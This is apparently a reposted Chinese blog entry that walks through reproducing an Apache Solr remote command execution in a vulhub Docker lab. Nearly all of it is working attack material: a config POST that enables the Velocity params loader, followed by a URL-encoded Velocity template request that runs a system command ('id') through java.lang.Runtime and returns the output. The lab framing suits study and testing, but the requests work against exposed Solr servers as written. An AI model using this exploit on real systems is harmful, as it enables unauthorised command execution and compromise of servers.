Apache Solr远程命令执行复现

时间:2019-10-31 14:28:08   收藏:0   阅读:234

环境

/vulhub/solr/CVE-2019-0193/
技术分享图片

创建一个集合

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
技术分享图片

正戏

开启params.resource.loader.enabled

POST /solr/创建的集合/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

技术分享图片

命令执行

GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983

技术分享图片

原文:https://www.cnblogs.com/mrhonest/p/11770934.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!